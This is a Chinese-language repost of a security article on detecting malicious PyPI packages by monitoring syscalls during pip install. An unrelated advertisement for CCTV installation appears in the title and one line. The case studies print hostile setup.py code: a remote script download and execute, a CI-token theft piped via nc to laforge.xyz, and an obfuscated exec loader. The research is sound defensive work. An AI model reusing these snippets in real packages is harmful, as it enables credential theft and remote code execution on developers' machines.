銀川監控攝像頭安裝,有人在代碼裏下毒!慎用 pip install 命令
原標題:銀川監控攝像頭安裝,有人在代碼裏下毒!慎用 pip install 命令
大約一年前,Python軟件基金會(Python Software Foundation)發了一個需求諮詢帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要問題是來討論我們如何檢測上傳到PyPI的惡意第三方軟件包。無論是被接管了廢棄的軟件包,對流行的庫進行Typosquatting攻擊釣魚劫持,還是對第三方庫進行撞庫攻擊,很明顯,這都是一個值得思考的問題,幾乎影響到每個開發者。使用pip install安裝軟件包時,大多數人不清楚自己所需的python模塊在哪個軟件包中,有時候甚至是模糊搜索安裝,這就給惡意利用的人提供了機會。
事實上,像PyPI這樣的軟件包管理器是幾乎每個公司都依賴的關鍵基礎架構。針對這個問題的嚴重性我們可以在這個主題上談上幾天幾夜,不過看了下面的這張圖你就明白了。
我想對此做進一步的探討,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的軟件包並尋找惡意攻擊活動。
如何查找惡意包
爲了在安裝過程中運行任意命令,作者通常將代碼添加到其程序包中的setup.py文件中。您可以在此github存儲庫(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。
總的來說,您可以用以下兩種方式來查找潛在的惡意依賴包:查看代碼中的不良內容(靜態分析),或者可以安裝它們以查看會發生什麼情況(動態分析)。
銀川監控攝像頭安裝15309571686██专业███████████
雖然靜態分析非常有趣(我曾在Node.js 的包管理工具npm上手動使用grep命令搜尋到了惡意軟件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在這篇文章中,我將重點介紹動態分析。畢竟我認爲它會有效果,因爲你正在查看實際發生的事情,而不是僅僅尋找未來可能發生的事。
那我們到底在尋找什麼呢?
如何把握重點
通常,任何重要操作發生都是由內核完成的,普通程序(如pip)通過內核執行重要操作是通過使用syscall來完成的。使用syscall可以完成打開文件、建立網絡連接和執行命令的所有操作!
您可以從Julia Evans的漫畫中瞭解syscall的更多內容:
這意味着,如果我們可以在安裝Python軟件包期間監視系統調用(syscalls),就可以查看是否發生了任何可疑事件。
監測系統調用(syscalls)這個方法並不是我想到的。自2017年以來,亞當·鮑德溫(Adam Baldwin)等人就一直在談論這一問題。佐治亞理工學院的研究人員發表了一篇出色的論文(https://arxiv.org/pdf/2002.01139.pdf),採用了同樣的方法。老實說,大多數博客文章只是試圖重現他們的想法。
現在,我們想監測系統調用(syscalls),那麼到底該怎麼做呢?
使用Sysdig監測Syscall
有許多旨在讓您監測系統調用的工具,對於本項目,我使用sysdig,因爲它既提供結構化輸出,又提供了一些非常好的過濾功能。
爲了使該工作正常進行,在啓動安裝該軟件包的Docker容器時,我還啓動了一個sysdig進程,該進程僅監測該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網絡讀取/寫入,因爲我不想被與軟件包下載相關的事件寫滿日誌。
通過捕獲系統調用的方法,我不得不解決另一個問題:如何獲取所有PyPI軟件包的列表。
獲取Python包
對我們來說幸運的是,PyPI擁有一個稱爲Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以將其視爲“一個非常大的HTML頁面,其中包含指向每個包的鏈接”。它簡單,乾淨而且比我可能會寫的任何HTML都要好。
我們可以抓取此頁面並使用pup解析所有鏈接,從而爲我們提供約268,000個軟件包:
- > curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt
- > wc -l pypi_full.txt
- 268038 pypi_full.txt
對於本實驗,我只關心每個軟件包的最新版本。較舊的版本中可能埋藏着惡意版本的軟件包,但AWS不會自己買單(笑)。
我最終實現了一個看起來像這樣的管道:
簡而言之,我們將每個軟件包名稱發送到一組EC2實例(我希望將來使用AWS Fargate無服務器化容器解決方案或其他東西,但我現在也不知道Fargate怎麼用,所以……),該程序會從PyPI中獲取有關軟件包的一些元數據,然後在一系列容器pip install安裝軟件包同時啓動sysdig,以監測syscall和網絡流量。然後,所有數據都被運送到S3以供未來使用。
這個過程如下所示:
結果
過程一旦完成,我將在一個S3存儲庫中獲取幾TB的數據,覆蓋大約245,000個軟件包。儘管有的軟件包沒有發佈版本,有的軟件包具有各種bug,但是這似乎也是一個很好的樣本。
現在開始有趣的部分:分析!(其實是一系列枯燥的grep操作)
我合併了元數據和輸出,提供了一系列如下所示的JSON文件:
- {
- "metadata": {},
- "output": {
- "dns": [], // Any DNS requests made
- "files": [], // All file access operations
- "connections": [], // TCP connections established
- "commands": [], // Any commands executed
- }
- }
然後,我編寫了一系列腳本來開始彙總數據,以試圖區別是良性程序包和惡意程序包。讓我們深入研究一些結果。
網絡請求
在安裝過程中,軟件包需要建立網絡連接的原因有很多。他們可能需要下載合法的二進制組件或其他資源,它們可能是一種分析形式,或者可能正試圖從系統中竊取數據或憑證。
結果發現,有460個軟件包將網絡連接到109個特定主機。就像上面論文提到的一樣,其中很多是程序包共享建立網絡連接依賴關係的結果。可以通過映射依賴關係將其過濾掉,但是我在這裏還沒有做過。
這裏(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安裝過程中看到的DNS請求明細。
執行命令
像網絡連接一樣,在安裝過程中,軟件包有合理的理由運行系統命令。可以是編譯二進制文件,或者設置正確的運行環境等。
查看我們的樣本,發現60,725個軟件包在安裝過程中正在執行命令。就像網絡連接一樣,其中許多是依賴項(運行命令的程序包)的結果。
一些有趣的第三方包
深入研究結果後,發現大多數網絡連接和命令似乎都是合乎常理預期的。但是,我想舉幾個奇怪的例子作爲案例研究,以說明這種類型的分析多有用。
i-am-malicious
一個名爲i-am-malicious的軟件包似乎是惡意軟件包的證明。以下是一些有趣的細節,使我們認爲該程序包值得研究(如果名稱不夠的話......):
- {
- "dns": [{
- "name": "gist.githubusercontent.com",
- "addresses": [
- "199.232.64.133"
- ]
- }]
- ],
- "files": [
- ...
- {
- "filename": "/tmp/malicious.py",
- "flag": "O_RDONLY|O_CLOEXEC"
- },
- ...
- {
- "filename": "/tmp/malicious-was-here",
- "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
- },
- ...
- ],
- "commands": [
- "python /tmp/malicious.py"
- ]
- }
我們看到與gist.github.com的連接,正在執行一個Python文件,並在此處創建了一個名爲/ tmp / malicious-was-here的文件。當然,這就是setup.py中發生的事情:
- from urllib.request import urlopen
- handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
- with open("/tmp/malicious.py", "wb") as fp:
- fp.write(handler.read())
- import subprocess
- subprocess.call(["python", "/tmp/malicious.py"])
malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”類型的消息,表明這確實是一個證明。
maliciouspackage
另一個自稱爲"惡意程序包"的maliciouspackage更邪惡。這是相關的輸出:
- {
- "dns": [{
- "name": "laforge.xyz",
- "addresses": [
- "34.82.112.63"
- ]
- }],
- "files": [
- {
- "filename": "/app/.git/config",
- "flag": "O_RDONLY"
- },
- ],
- "commands": [
- "sh -c apt install -y socat",
- "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
- "grep ci-token /app/.git/config",
- "nc laforge.xyz 5566"
- ]
- }
和之前一樣,我們的輸出使我們對發生的事情有了一個不錯的瞭解。在這種情況下,程序包似乎從.git / config文件中提取令牌並將其上傳到laforge.xyz。瀏覽setup.py,我們發現確實是這樣:
- ...
- import os
- os.system('apt install -y socat')
- os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
easyIoCtl是一個有趣的軟件包。它聲稱可以“擺脫無聊的IO操作”,但我們看到以下命令正在執行:
- [
- "sh -c touch /tmp/testing123",
- "touch /tmp/testing123"
- ]
可疑,但可能不是有意爲之。但是這是一個完美的示例,顯示了監測系統調用的功能。這是項目的setup.py中的相關代碼:
- class MyInstall():
- def run(self):
- control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
- control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
- control_flow_guard_init = ""
- for controL_flow_code in control_flow_guard_mappers:
- control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
- exec(control_flow_guard_init)
此代碼片段混淆不清,很難說出是怎麼回事,傳統的靜態分析可能會抓住對exec的調用,但僅此而已。
要查看其作用,我們可以用打印替換exec,結果是:
import os;os.system('touch /tmp/testing123')
這正是我們記錄的命令,表明即使代碼混淆也不會影響我們的結果,因爲我們正在對系統調用進行監視。
當我們發現惡意軟件包時會發生什麼?
值得簡要討論一下,當我們發現惡意程序包時該怎麼辦。首先要做的是提醒PyPI志願者,以便他們下架這個包。可以通過聯繫[email protected]來完成。
之後,我們可以使用BigQuery上的PyPI公開數據集,查看該包的下載次數。
這是一個示例查詢,用於查找在過去30天內安裝了maliciouspackage的次數:
- #standardSQL
- SELECT COUNT(*) AS num_downloads
- FROM `the-psf.pypi.file_downloads`
- WHERE file.project = 'maliciouspackage'
- -- Only query the last 30 days of history
- AND DATE(timestamp)
- BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
- AND CURRENT_DATE()
運行此查詢命令,結果表明它已被下載400次以上。
未來展望
第一步只是初步瞭解了整個PyPI的概況。查看數據,我發現沒有任何程序包進行了嚴重有害的活動,而且名稱中的某處也沒有“惡意”。這很好!(其實並非如此,如果你在 2017-05-24 到 2017-05-31 這段時間內執行過 pip install smb或者 pip download smb, 那麼你的個人信息可能已經泄露)但是我總是有可能錯過某些事情,或者將來會發生。如果您有興趣挖掘數據,可以在這裏(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。
展望未來,我正在設置一個Lambda函數,以使用PyPI的RSS feed功能獲取最新的軟件包更新。每個更新的程序包都將經過相同的處理,如果檢測到可疑活動,則會發送警報。
我仍然不喜歡僅通過pip install命令就可以讓程序在用戶系統上執行任意操作。我知道大多數程序包都是善意的,但它帶來了風險。希望越來越多地監測各種第三方程序包管理器,並識別出惡意活動的跡象。
這不是PyPI獨有的。之後,我希望對RubyGems,npm和其他程序包管理庫進行相同的分析,就像我之前提到的研究人員一樣。